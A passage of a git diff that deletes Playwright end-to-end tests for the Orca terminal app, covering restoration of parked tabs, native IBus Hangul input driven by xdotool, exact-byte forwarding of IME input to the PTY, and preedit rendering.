.toContain(finalMarker) - - const tabBId = await createActiveTerminalTab(orcaPage, worktreeId) - const parkDetectedAfterMs = await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabAId, { - parkDelayMs: PARKING_DELAY_MS - }) - const wiring = await readParkingWiring(orcaPage) - testInfo.annotations.push({ - type: 'terminal-parking', - description: `parkDelayMs=${wiring.parkDelayMs ?? PARKING_DELAY_MS} parkDetectedAfterMs=${parkDetectedAfterMs}` - }) - - // Require tab-scoped teardown: more-recently-hidden tab B stays warm under #8262. - const tabBState = await readTerminalTabViewState(orcaPage, tabBId) - expect(tabBState.hasManager).toBe(true) - expect(tabBState.paneCount).toBeGreaterThan(0) - - await activateTerminalTab(orcaPage, tabAId) - await waitForActiveTerminalManager(orcaPage, 30_000) - const revealedSnapshot = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(revealedSnapshot.tabId).toBe(tabAId) - // Parking tears down only the renderer; require the same surviving PTY on reveal. - expect(revealedSnapshot.panes[0]?.ptyId).toBe(tabAPtyId) - - await expect - .poll(() => getTerminalContent(orcaPage, 12_000), { - timeout: 15_000, - message: 'parked rich TUI frame did not restore when the tab was revealed' - }) - .toContain(finalMarker) - - const content = await getTerminalContent(orcaPage, 12_000) - expect(content).toContain(`Frame ${String(PARKED_FRAME_COUNT - 1).padStart(3, '0')}`) - expect(content).toContain('╭') - expect(content).toContain('├') - expect(content).toContain('█') - expect(content).not.toContain('Orca skipped hidden terminal output') - - // Interrupt the fixture TUI and wait for shell ownership before probing input. - await sendToTerminal(orcaPage, tabAPtyId, '\x03') - // Rethrow with Ctrl-C context: readiness can look like a dead shell when ConPTY did not translate the interrupt. - await waitForPtyShellEcho(orcaPage, tabAPtyId, 15_000).catch((error: unknown) => { - throw new Error( - `Ctrl-C did not hand the PTY back from the fixture TUI: ${error instanceof Error ? error.message : String(error)}` - ) - }) - - // The joined marker exists only in command output, proving execution beyond echo. - const typedMarker = `PARKED_TYPED_OK_${runId}` - const typedProbeScript = `console.log('PARKED_TYPED_OK_' + '${runId}')` - // Why: delivered via a temp file — `node -e` quoting is not PowerShell-safe (#8521). - await runNodeScriptInTerminal(orcaPage, tabAPtyId, typedProbeScript, { - prefix: 'orca-parked-typed-probe' - }) - await expect - .poll(() => getTerminalContent(orcaPage, 12_000), { - timeout: 10_000, - message: 'revealed terminal did not execute and display typed input' - }) - .toContain(typedMarker) - - const screenshotPath = testInfo.outputPath('parked-tab-restore-final.png') - await orcaPage.screenshot({ path: screenshotPath, fullPage: true }) - await testInfo.attach('parked-tab-restore-final.png', { - path: screenshotPath, - contentType: 'image/png' - }) - } finally { - rmSync(scriptPath, { force: true }) - } - }) - - test('keeps bell and title side effects live while parked', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - const setup = await setUpParkableTabA(orcaPage) - const { worktreeId, tabAId, tabAPtyId } = setup - - await createActiveTerminalTab(orcaPage, worktreeId) - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabAId, { - parkDelayMs: PARKING_DELAY_MS - }) - - const runId = randomUUID() - const parkedTitle = `Parked side effects ${runId}` - const marker = `PARKED_SIDE_EFFECT_MARKER_${runId}` - // Emit OSC 0, standalone BEL and reveal marker; OSC’s terminator must not count as a bell. - // Keep alive 30s so the shell prompt cannot overwrite the title. - const payload = `\x1b]0;${parkedTitle}\x07\x07${marker}\n` - const sideEffectScript = `process.stdout.write(${JSON.stringify(payload)}); setTimeout(() => process.exit(0), 30000)` - // Why: delivered via a temp file — `node -e` quoting is not PowerShell-safe (#8521). - await runNodeScriptInTerminal(orcaPage, tabAPtyId, sideEffectScript, { - prefix: 'orca-parked-side-effect' - }) - - await expect - .poll(() => getTerminalTabTitle(orcaPage, worktreeId, tabAId), { - timeout: 10_000, - message: 'parked OSC 0 title did not update the tab title in the store' - }) - .toBe(parkedTitle) - await expect - .poll(async () => (await getUnreadTerminalTabIds(orcaPage)).includes(tabAId), { - timeout: 10_000, - message: 'parked BEL did not mark the terminal tab unread' - }) - .toBe(true) - await expect - .poll(() => isWorktreeUnread(orcaPage, worktreeId), { - timeout: 10_000, - message: 'parked BEL did not mark the worktree unread' - }) - .toBe(true) - - // Require side effects from the pane-less watcher without waking the parked view. - expect((await readTerminalTabViewState(orcaPage, tabAId)).hasManager).toBe(false) - - await activateTerminalTab(orcaPage, tabAId) - await waitForActiveTerminalManager(orcaPage, 30_000) - await expect - .poll(() => getTerminalContent(orcaPage, 12_000), { - timeout: 15_000, - message: 'parked side-effect marker did not restore when the tab was revealed' - }) - .toContain(marker) - }) - - // Require identical rich content across 25 teardown→snapshot-restore→reattach cycles to catch individual or accumulated garble. -}) diff --git a/tests/e2e/terminal-ibus-hangul-native.spec.ts b/tests/e2e/terminal-ibus-hangul-native.spec.ts deleted file mode 100644 index effd90e81bb..00000000000 --- a/tests/e2e/terminal-ibus-hangul-native.spec.ts +++ /dev/null @@ -1,627 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { randomUUID } from 'node:crypto' -import { writeFileSync } from 'node:fs' -import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import type { BrowserWindow, Event as ElectronEvent, Input as ElectronInput } from 'electron' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { - attachTerminalImeBoundaryEvidence, - disposeTerminalImeBoundaryProbe, - installTerminalImeBoundaryProbe, - readTerminalImeBoundaryTrace, - type TerminalImeDomEvent -} from './terminal-ime-boundary-probe' -import { - createTerminalImeByteReader, - removeTerminalImeByteReader, - startTerminalImeByteReader, - waitForTerminalImeBytes -} from './terminal-ime-byte-reader' -import { appendImeEngagementReceipt } from './terminal-ime-engagement-receipt' -import { presentNativeIbusWindow } from './terminal-native-ibus-window' - -const DEFAULT_REPETITIONS = 30 -const MAX_REPETITIONS = 30 -const DEFAULT_KEY_DELAY_MS = 1 -const MAX_KEY_DELAY_MS = 100 -const NATIVE_COMMAND_TIMEOUT_MS = 10_000 - -test.use({ - orcaAppExtraEnv: { - GTK_IM_MODULE: 'ibus', - IBUS_ENABLE_SYNC_MODE: '1', - QT_IM_MODULE: 'ibus', - XMODIFIERS: '@im=ibus' - } -}) - -function nativeRepetitions(): number { - const parsed = Number(process.env.ORCA_E2E_NATIVE_IBUS_REPETITIONS ?? DEFAULT_REPETITIONS) - return Number.isInteger(parsed) && parsed > 0 - ? Math.min(parsed, MAX_REPETITIONS) - : DEFAULT_REPETITIONS -} - -function nativeKeyDelayMs(): number { - const parsed = Number(process.env.ORCA_E2E_NATIVE_IBUS_KEY_DELAY_MS ?? DEFAULT_KEY_DELAY_MS) - return Number.isInteger(parsed) && parsed >= 0 - ? Math.min(parsed, MAX_KEY_DELAY_MS) - : DEFAULT_KEY_DELAY_MS -} - -function runXdotool(...args: string[]): void { - execFileSync('xdotool', args, { stdio: 'pipe', timeout: NATIVE_COMMAND_TIMEOUT_MS }) -} - -async function focusNativeTerminalWindow(page: Page): Promise { - await focusActiveTerminalInput(page) - const title = `ORCA_NATIVE_IBUS_${randomUUID()}` - await page.evaluate((nextTitle) => { - document.title = nextTitle - }, title) - await expect.poll(() => page.title(), { timeout: 5_000 }).toBe(title) - - runXdotool('search', '--onlyvisible', '--name', title, 'windowfocus', '--sync') - execFileSync('ibus', ['engine', 'hangul'], { - stdio: 'pipe', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }) - const engine = execFileSync('ibus', ['engine'], { - encoding: 'utf8', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }).trim() - expect(engine).toBe('hangul') - return title -} - -function typeExactByteSequence(repetitions: number): void { - const delay = String(nativeKeyDelayMs()) - for (let index = 0; index < repetitions; index += 1) { - runXdotool('type', '--delay', delay, '--clearmodifiers', 'gks') - runXdotool('key', 'Hangul') - runXdotool('type', '--delay', delay, 'abc') - runXdotool('key', 'Hangul') - runXdotool('type', '--delay', delay, 'rmf') - runXdotool('key', 'Return') - } -} - -function typeSentenceSequence(repetitions: number): void { - const delay = String(nativeKeyDelayMs()) - for (let index = 0; index < repetitions; index += 1) { - runXdotool( - 'type', - '--delay', - delay, - '--clearmodifiers', - 'xptmxmfmf gkrh dlTsmsep duwjsgl rmfjsp' - ) - runXdotool('key', 'Return') - } -} - -async function runNativeIbusScenario( - electronApp: ElectronApplication, - page: Page, - testInfo: TestInfo, - testRepoPath: string, - expectedText: string, - driveInput: (repetitions: number) => void -): Promise { - await presentNativeIbusWindow(electronApp, page) - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - - const repetitions = nativeRepetitions() - const ptyId = await waitForActivePanePtyId(page) - const reader = createTerminalImeByteReader(testRepoPath, repetitions) - let completed = false - let receivedBytes: string[] = [] - try { - await startTerminalImeByteReader(page, ptyId, reader) - await focusNativeTerminalWindow(page) - await installTerminalImeBoundaryProbe(page) - driveInput(repetitions) - - receivedBytes = await waitForTerminalImeBytes(page, reader, 30_000) - const trace = await readTerminalImeBoundaryTrace(page) - expect(trace.dom.some((event) => event.type === 'compositionstart')).toBe(true) - expect( - trace.dom.some( - (event) => - (event.type === 'compositionupdate' || - (event.type === 'input' && event.inputType === 'insertText')) && - /[\uac00-\ud7af]/.test(event.data ?? '') - ) - ).toBe(true) - - const expectedBytes = Buffer.from(`${expectedText}\n`).toString('hex') - expect(receivedBytes).toEqual(Array.from({ length: repetitions }, () => expectedBytes)) - - expect(trace.onData.join('')).toBe(`${expectedText}\r`.repeat(repetitions)) - // Why after the assertions: the receipt is the runner's proof this test ran against a live - // engine, so it must not exist for a run that reached here with the bytes wrong. - appendImeEngagementReceipt(testInfo.title, trace) - completed = true - } finally { - await attachTerminalImeBoundaryEvidence(page, testInfo, 'native-ibus-boundaries', { - display: process.env.DISPLAY, - expectedText, - keyDelayMs: nativeKeyDelayMs(), - receivedBytes, - repetitions - }).catch(() => undefined) - await disposeTerminalImeBoundaryProbe(page).catch(() => undefined) - if (!completed) { - await sendToTerminal(page, ptyId, '\x03').catch(() => undefined) - } - removeTerminalImeByteReader(reader) - } -} - -test.describe('Native IBus Hangul terminal input @headful', () => { - test.skip( - process.env.ORCA_E2E_NATIVE_IBUS_HANGUL !== '1', - 'Run through config/scripts/runtime-verification/terminal-e2e/run-terminal-ibus-hangul-e2e.mjs' - ) - - test('forwards the issue exact-byte sequence without loss or duplication', async ({ - electronApp, - orcaPage, - testRepoPath - }, testInfo) => { - await runNativeIbusScenario( - electronApp, - orcaPage, - testInfo, - testRepoPath, - '한abc글', - typeExactByteSequence - ) - }) - - test('forwards the issue sentence stress sequence without leaked ASCII', async ({ - electronApp, - orcaPage, - testRepoPath - }, testInfo) => { - await runNativeIbusScenario( - electronApp, - orcaPage, - testInfo, - testRepoPath, - '테스트를 하고 있는데 여전히 그러네', - typeSentenceSequence - ) - }) -}) - -test.describe('Native IBus Hangul workspace notes @headful', () => { - test.use({ launchEnv: { ORCA_BACKGROUND_LAUNCH: '1' } }) - test.skip( - process.env.ORCA_E2E_NATIVE_IBUS_HANGUL !== '1', - 'Run through the isolated native IBus harness' - ) - - test('confirms native Hangul notes before a deliberate Enter saves', async ({ - electronApp, - orcaPage - }, testInfo) => { - expect(process.platform).toBe('linux') - expect(process.env.GITHUB_ACTIONS).toBe('true') - expect(process.env.RUNNER_ENVIRONMENT).toBe('github-hosted') - expect(process.env.DISPLAY).toMatch(/^:\d+(?:\.\d+)?$/) - const ownedWindow = await electronApp.browserWindow(orcaPage) - await presentNativeIbusWindow(electronApp, orcaPage) - const windowId = await ownedWindow.evaluate((window: BrowserWindow) => - window.getNativeWindowHandle().readUInt32LE(0).toString() - ) - execFileSync('ibus', ['engine', 'hangul'], { timeout: NATIVE_COMMAND_TIMEOUT_MS }) - expect( - execFileSync('ibus', ['engine'], { - encoding: 'utf8', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }).trim() - ).toBe('hangul') - - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const worktree = - state && - Object.values(state.worktreesByRepo) - .flat() - .find((row) => row.id === state.activeWorktreeId) - if (!state || !worktree) { - throw new Error('Missing owned workspace') - } - state.openModal('edit-meta', { - worktreeId: worktree.id, - repoId: worktree.repoId, - currentDisplayName: worktree.displayName, - currentComment: '', - focus: 'comment' - }) - }) - const input = orcaPage.getByPlaceholder('Notes about this worktree...') - await expect(input).toBeVisible() - await input.evaluate(async (element) => { - const animations = element.closest('[role=dialog]')?.getAnimations({ subtree: true }) ?? [] - await Promise.all(animations.map((animation) => animation.finished.catch(() => undefined))) - }) - const nativeProbe = await ownedWindow.evaluateHandle((window: BrowserWindow) => { - const inputs: ElectronInput[] = [] - const record = (_event: ElectronEvent, input: ElectronInput): void => { - inputs.push({ ...input }) - } - window.webContents.on('before-input-event', record) - return { - window, - inputs, - dispose: () => window.webContents.removeListener('before-input-event', record) - } - }) - const events = await input.evaluateHandle((element) => { - if (!(element instanceof HTMLTextAreaElement)) { - throw new Error('Missing Notes textarea') - } - const dom: TerminalImeDomEvent[] = [] - const capture: { - type: string - scope: string - key: string | null - code: string | null - keyCode: number | null - isComposing: boolean | null - isTrusted: boolean - targetIsNotes: boolean - activeIsNotes: boolean - documentFocused: boolean - target: string - path: string[] - }[] = [] - const label = (target: EventTarget | null): string => - target instanceof Element - ? `${target.tagName}#${target.id}[${target.getAttribute('placeholder') ?? ''}]` - : target === window - ? 'window' - : target === document - ? 'document' - : 'other' - const recordDom = (event: Event): void => { - const keyboard = event instanceof KeyboardEvent ? event : null - const inputEvent = event instanceof InputEvent ? event : null - const composition = event instanceof CompositionEvent ? event : null - dom.push({ - type: event.type, - data: inputEvent?.data ?? composition?.data ?? null, - inputType: inputEvent?.inputType ?? null, - key: keyboard?.key ?? null, - code: keyboard?.code ?? null, - keyCode: keyboard?.keyCode ?? null, - isComposing: keyboard?.isComposing ?? inputEvent?.isComposing ?? null, - selectionEnd: element.selectionEnd, - selectionStart: element.selectionStart, - value: element.value - }) - } - const recordCapture = (event: Event): void => { - const keyboard = event instanceof KeyboardEvent ? event : null - capture.push({ - type: event.type, - scope: label(event.currentTarget), - key: keyboard?.key ?? null, - code: keyboard?.code ?? null, - keyCode: keyboard?.keyCode ?? null, - isComposing: keyboard?.isComposing ?? null, - isTrusted: event.isTrusted, - targetIsNotes: event.target === element, - activeIsNotes: document.activeElement === element, - documentFocused: document.hasFocus(), - target: label(event.target), - path: event.composedPath().map(label) - }) - } - const domTypes = [ - 'compositionstart', - 'compositionupdate', - 'compositionend', - 'input', - 'keydown', - 'keyup' - ] - const captureTypes = ['keydown', 'keyup', 'focus', 'blur'] - for (const type of domTypes) { - element.addEventListener(type, recordDom, true) - } - for (const target of [window, document]) { - for (const type of captureTypes) { - target.addEventListener(type, recordCapture, true) - } - } - return { - dom, - capture, - focus: () => ({ - documentFocused: document.hasFocus(), - activeIsNotes: document.activeElement === element, - activeElement: label(document.activeElement), - connected: element.isConnected, - value: element.value - }), - dispose: () => { - for (const type of domTypes) { - element.removeEventListener(type, recordDom, true) - } - for (const target of [window, document]) { - for (const type of captureTypes) { - target.removeEventListener(type, recordCapture, true) - } - } - } - } - }) - const readSavedComment = () => - orcaPage.evaluate(() => { - const state = window.__store?.getState() - return ( - state && - Object.values(state.worktreesByRepo) - .flat() - .find((row) => row.id === state.activeWorktreeId)?.comment - ) - }) - const focusSnapshots: unknown[] = [] - const readFocus = async (phase: string) => { - const renderer = await events.evaluate((probe) => probe.focus()) - const main = await nativeProbe.evaluate(({ window }) => ({ - windowFocused: window.isFocused(), - windowVisible: window.isVisible(), - webContentsFocused: window.webContents.isFocused(), - nativeWindowId: window.getNativeWindowHandle().readUInt32LE(0).toString() - })) - const xFocus = execFileSync('xdotool', ['getwindowfocus'], { - encoding: 'utf8', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }).trim() - const snapshot = { phase, renderer, main, xFocus, windowId } - focusSnapshots.push(snapshot) - expect(main.nativeWindowId).toBe(windowId) - expect(xFocus).toBe(windowId) - expect(main.windowFocused).toBe(true) - expect(main.windowVisible).toBe(true) - expect(main.webContentsFocused).toBe(true) - expect(renderer.documentFocused).toBe(true) - expect(renderer.activeIsNotes).toBe(true) - return snapshot - } - let completed = false - try { - runXdotool('windowfocus', '--sync', windowId) - await nativeProbe.evaluate(({ window }) => window.webContents.focus()) - const geometry = await orcaPage.evaluate(() => ({ - ratio: window.devicePixelRatio, - width: window.innerWidth, - height: window.innerHeight - })) - const content = await ownedWindow.evaluate((window: BrowserWindow) => - window.getContentBounds() - ) - expect(geometry.ratio).toBe(1) - expect(content.width).toBe(geometry.width) - expect(content.height).toBe(geometry.height) - const box = await input.boundingBox() - expect(box).not.toBeNull() - if (!box) { - throw new Error('Missing native Notes input bounds') - } - runXdotool( - 'mousemove', - '--window', - windowId, - String(Math.round(box.x + box.width / 2)), - String(Math.round(box.y + box.height / 2)), - 'click', - '1' - ) - await expect - .poll(() => - events.evaluate((probe) => { - const focus = probe.focus() - return focus.documentFocused && focus.activeIsNotes - }) - ) - .toBe(true) - await readFocus('before-delivery-witness') - runXdotool('key', '--clearmodifiers', 'Shift_L') - await expect - .poll(() => - events.evaluate(({ capture }) => - ['keydown', 'keyup'].every((type) => - capture.some( - (event) => - event.type === type && - event.key === 'Shift' && - event.scope === 'window' && - event.isTrusted && - event.targetIsNotes && - event.activeIsNotes && - event.documentFocused - ) - ) - ) - ) - .toBe(true) - await readFocus('before-composition') - const blursBeforeComposition = await events.evaluate( - ({ capture }) => capture.filter((event) => event.type === 'blur').length - ) - runXdotool('type', '--delay', '10', '--clearmodifiers', 'gksrmf') - await expect(input).toHaveValue('한글') - await expect - .poll(() => - events.evaluate( - ({ dom: trace }) => - trace.filter((event) => event.type === 'compositionstart').length > - trace.filter((event) => event.type === 'compositionend').length - ) - ) - .toBe(true) - const compositionEndsBeforeReturn = await events.evaluate( - ({ dom: trace }) => trace.filter((event) => event.type === 'compositionend').length - ) - await readFocus('before-confirm-return') - runXdotool('key', 'Return') - await expect - .poll(() => - events.evaluate( - ({ dom: trace }) => trace.filter((event) => event.type === 'compositionend').length - ) - ) - .toBeGreaterThan(compositionEndsBeforeReturn) - await orcaPage.evaluate( - () => - new Promise((resolve) => - requestAnimationFrame(() => requestAnimationFrame(() => resolve())) - ) - ) - await expect(input).toBeVisible() - await expect(input).toHaveValue('한글') - expect(await readSavedComment()).not.toBe('한글') - await readFocus('before-save-return') - expect( - await events.evaluate( - ({ capture }) => capture.filter((event) => event.type === 'blur').length - ) - ).toBe(blursBeforeComposition) - const capturesBeforeSave = await events.evaluate(({ capture }) => capture.length) - runXdotool('key', 'Return') - await expect - .poll(() => - events.evaluate( - ({ capture }, start) => - capture - .slice(start) - .some( - (event) => - event.type === 'keydown' && - event.key === 'Enter' && - event.keyCode === 13 && - event.isComposing === false && - event.scope === 'window' && - event.isTrusted && - event.targetIsNotes && - event.activeIsNotes && - event.documentFocused - ), - capturesBeforeSave - ) - ) - .toBe(true) - await expect(input).toBeHidden() - await expect.poll(readSavedComment).toBe('한글') - const dom = await events.evaluate(({ dom }) => dom) - expect(dom.some((event) => event.type === 'compositionstart')).toBe(true) - expect(dom.some((event) => /[\uac00-\ud7af]/.test(event.data ?? ''))).toBe(true) - appendImeEngagementReceipt(testInfo.title, { dom, onData: [] }) - completed = true - await orcaPage.screenshot({ - path: testInfo.outputPath('native-deliberate-return-saves-notes.png') - }) - } finally { - const readDiagnostic = async (read: () => Promise): Promise => { - let timer: ReturnType | undefined - try { - return await Promise.race([ - read().catch(() => null), - new Promise((resolve) => { - timer = setTimeout(() => resolve(null), 1_000) - }) - ]) - } catch { - return null - } finally { - if (timer) { - clearTimeout(timer) - } - } - } - const trace = await readDiagnostic(() => - events.evaluate(({ dom, capture, focus }) => ({ dom, capture, focus: focus() })) - ) - const native = await readDiagnostic(() => - nativeProbe.evaluate(({ inputs, window }) => ({ - inputs, - windowFocused: window.isFocused(), - windowVisible: window.isVisible(), - webContentsFocused: window.webContents.isFocused() - })) - ) - const notes = await readDiagnostic(() => - orcaPage.evaluate(() => { - const element = document.querySelector( - 'textarea[placeholder="Notes about this worktree..."]' - ) - const state = window.__store?.getState() - return { - notesPresent: element instanceof HTMLTextAreaElement, - notesValue: element instanceof HTMLTextAreaElement ? element.value : null, - savedComment: - state && - Object.values(state.worktreesByRepo) - .flat() - .find((row) => row.id === state.activeWorktreeId)?.comment - } - }) - ) - let evidenceAttached = false - try { - const evidencePath = testInfo.outputPath('native-notes-dom-trace.json') - writeFileSync( - evidencePath, - `${JSON.stringify({ - nativeOperatingSystemIme: true, - engine: 'ibus-hangul', - display: process.env.DISPLAY, - completed, - notes, - focusSnapshots, - native, - onData: [], - ...trace - })}\n` - ) - await testInfo.attach('native-notes-dom-trace', { - path: evidencePath, - contentType: 'application/json' - }) - evidenceAttached = true - } catch { - // Failed-flow diagnostics must preserve the original assertion. - } - await readDiagnostic(() => events.evaluate((probe) => probe.dispose())) - await readDiagnostic(() => - nativeProbe.evaluate((probe) => { - probe.dispose() - }) - ) - await events.dispose().catch(() => undefined) - await nativeProbe.dispose().catch(() => undefined) - await ownedWindow.dispose().catch(() => undefined) - if (completed) { - expect(trace).not.toBeNull() - expect(native).not.toBeNull() - expect(notes).not.toBeNull() - expect(evidenceAttached).toBe(true) - } - } - }) -}) diff --git a/tests/e2e/terminal-ime-clause-selection.spec.ts b/tests/e2e/terminal-ime-clause-selection.spec.ts deleted file mode 100644 index 06def5db081..00000000000 --- a/tests/e2e/terminal-ime-clause-selection.spec.ts +++ /dev/null @@ -1,63 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { setImeComposition } from './terminal-ime-cdp-composition' -import { writeToActiveTerminal } from './terminal-ime-midline-occlusion-probe' - -/** Every preedit code unit's left edge, then the preedit width, relative to the preedit. */ -function measurePreeditEdges(): number[] { - const preedit = document.querySelector( - '.composition-view.active .xterm-composition-preedit' - )! - const bounds = preedit.getBoundingClientRect() - const edges: number[] = [] - const walker = document.createTreeWalker(preedit, NodeFilter.SHOW_TEXT) - for (let node = walker.nextNode(); node; node = walker.nextNode()) { - for (let offset = 0; offset < node.textContent!.length; offset++) { - const range = document.createRange() - range.setStart(node, offset) - range.setEnd(node, offset + 1) - edges.push(range.getBoundingClientRect().left - bounds.left) - } - } - return [...edges, bounds.width] -} - -test('paints the selected clause in the theme selection colors without moving any cell', async ({ - orcaPage -}, testInfo) => { - const arena = await openTerminalImePaneArena(orcaPage) - let completed = false - try { - await orcaPage.evaluate(() => { - const state = window.__store!.getState() - const terminal = window.__paneManagers!.get(state.activeTabId!)!.getActivePane()!.terminal - terminal.options.theme = { - ...terminal.options.theme, - selectionBackground: '#7357d9', - selectionForeground: '#ffffff' - } - }) - await writeToActiveTerminal(orcaPage, '\x1b[2J\x1b[H') - const text = '今日はいい天気です' - await setImeComposition(arena.session, text) - await expect( - orcaPage.locator('.composition-view.active .xterm-composition-preedit') - ).toHaveText(`‎${text}‎`) - const unselected = await orcaPage.evaluate(measurePreeditEdges) - - await setImeComposition(arena.session, text, { start: 3, end: 9 }) - const clause = orcaPage.locator('.xterm-composition-preedit-selected') - await expect(clause).toHaveText('いい天気です') - await expect(clause).toHaveCSS('background-color', 'rgb(115, 87, 217)') - await expect(clause).toHaveCSS('color', 'rgb(255, 255, 255)') - const selected = await orcaPage.evaluate(measurePreeditEdges) - // Chromium snaps each inline box the selection adds to 1/64px layout units. - expect(selected).toHaveLength(unselected.length) - selected.forEach((edge, index) => expect(edge).toBeCloseTo(unselected[index], 1)) - - await setImeComposition(arena.session, '') - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'ime-clause-selection', !completed) - } -}) diff --git a/tests/e2e/terminal-ime-exact-byte.spec.ts b/tests/e2e/terminal-ime-exact-byte.spec.ts deleted file mode 100644 index a168f929d2b..00000000000 --- a/tests/e2e/terminal-ime-exact-byte.spec.ts +++ /dev/null @@ -1,162 +0,0 @@ -import type { CDPSession, Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { - attachTerminalImeBoundaryEvidence, - disposeTerminalImeBoundaryProbe, - installTerminalImeBoundaryProbe, - readTerminalImeBoundaryTrace, - type TerminalImeBoundaryTrace -} from './terminal-ime-boundary-probe' -import { - createTerminalImeByteReader, - removeTerminalImeByteReader, - startTerminalImeByteReader, - waitForTerminalImeBytes -} from './terminal-ime-byte-reader' -import { - dispatchObservedIbusHangulMixedSequence, - dispatchObservedIbusHangulRetainedCommitSequence -} from './terminal-ime-observed-event-sequences' - -test.describe.configure({ mode: 'serial' }) - -type TraceAssertion = (trace: TerminalImeBoundaryTrace) => void - -async function runExactByteScenario( - page: Page, - testInfo: TestInfo, - testRepoPath: string, - expectedText: string, - dispatchInput: (page: Page) => Promise, - assertTrace: TraceAssertion -): Promise { - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - - const ptyId = await waitForActivePanePtyId(page) - const reader = createTerminalImeByteReader(testRepoPath, 1) - let completed = false - let receivedBytes: string[] = [] - try { - await startTerminalImeByteReader(page, ptyId, reader) - await focusActiveTerminalInput(page) - await installTerminalImeBoundaryProbe(page) - await dispatchInput(page) - - receivedBytes = await waitForTerminalImeBytes(page, reader) - const expectedBytes = Buffer.from(`${expectedText}\n`).toString('hex') - expect(receivedBytes).toEqual([expectedBytes]) - - const trace = await readTerminalImeBoundaryTrace(page) - expect(trace.onData.join('')).toBe(`${expectedText}\r`) - assertTrace(trace) - completed = true - } finally { - await attachTerminalImeBoundaryEvidence(page, testInfo, 'terminal-ime-boundaries', { - expectedText, - receivedBytes - }).catch(() => undefined) - await disposeTerminalImeBoundaryProbe(page).catch(() => undefined) - if (!completed) { - await sendToTerminal(page, ptyId, '\x03').catch(() => undefined) - } - removeTerminalImeByteReader(reader) - } -} - -async function dispatchRepeatedConversion( - page: Page, - frames: string[], - committedText: string -): Promise { - const session: CDPSession = await page.context().newCDPSession(page) - try { - for (let repetition = 0; repetition < 2; repetition += 1) { - for (const frame of frames) { - await session.send('Input.imeSetComposition', { - text: frame, - selectionStart: frame.length, - selectionEnd: frame.length - }) - } - await session.send('Input.insertText', { text: committedText }) - } - await page.keyboard.press('Enter') - } finally { - await session.detach() - } -} - -test.describe('Terminal IME exact-byte forwarding', () => { - test.skip(process.platform !== 'linux', 'Linux composition order is covered by this suite') - - test('replays the observed IBus Hangul mixed-input order through xterm and the PTY', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await runExactByteScenario( - orcaPage, - testInfo, - testRepoPath, - '한abc글', - dispatchObservedIbusHangulMixedSequence, - (trace) => { - const commits = trace.dom - .filter((event) => event.type === 'input' && event.inputType === 'insertText') - .map((event) => event.data) - expect(commits).toEqual(expect.arrayContaining(['한', '글'])) - } - ) - }) - - test('keeps retained Hangul commits and stale fallbacks in their transactions', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await runExactByteScenario( - orcaPage, - testInfo, - testRepoPath, - '테a스', - dispatchObservedIbusHangulRetainedCommitSequence, - (trace) => { - const starts = trace.dom.filter((event) => event.type === 'compositionstart') - expect(starts).toHaveLength(2) - expect(trace.onData.join('')).not.toContain('\x7f') - } - ) - }) - - for (const scenario of [ - { name: 'Japanese', frames: ['に', 'にほんご', '日本語'], committedText: '日本語' }, - { name: 'Chinese', frames: ['n', 'ni', '你好'], committedText: '你好' } - ]) { - test(`does not suppress repeated legitimate ${scenario.name} conversions`, async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await runExactByteScenario( - orcaPage, - testInfo, - testRepoPath, - scenario.committedText.repeat(2), - (page) => dispatchRepeatedConversion(page, scenario.frames, scenario.committedText), - (trace) => { - const commits = trace.dom.filter( - (event) => event.type === 'compositionend' && event.data === scenario.committedText - ) - expect(commits).toHaveLength(2) - } - ) - }) - } -}) diff --git a/tests/e2e/terminal-ime-preedit-cell-grid.spec.ts b/tests/e2e/terminal-ime-preedit-cell-grid.spec.ts deleted file mode 100644 index 037022d840b..00000000000 --- a/tests/e2e/terminal-ime-preedit-cell-grid.spec.ts +++ /dev/null @@ -1,243 +0,0 @@ -import type { XtermWithRenderDimensions } from './helpers/xterm-render-dimensions' -import { expect, test } from './helpers/orca-app' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { setImeComposition } from './terminal-ime-cdp-composition' -import { - sampleMidlinePreeditOcclusion, - writeToActiveTerminal -} from './terminal-ime-midline-occlusion-probe' - -for (const dpr of [1, 1.25, 2]) { - for (const gpu of ['on', 'off'] as const) { - test.describe(`IME preedit grid DPR ${dpr} GPU ${gpu} @headful`, () => { - test.use({ orcaAppExtraArgs: [`--force-device-scale-factor=${dpr}`] }) - - test('matches committed character advances across font and spacing changes', async ({ - orcaPage, - electronApp - }, testInfo) => { - await electronApp.evaluate(({ BrowserWindow }) => { - BrowserWindow.getAllWindows()[0].setSize(1920, 1080) - }) - const arena = await openTerminalImePaneArena(orcaPage) - let completed = false - try { - for (const options of [ - { fontSize: 13, letterSpacing: 0 }, - { fontSize: 14, letterSpacing: 0 }, - { fontSize: 13, letterSpacing: 1 } - ]) { - await orcaPage.evaluate( - ({ gpu, options }) => { - const state = window.__store!.getState() - const manager = 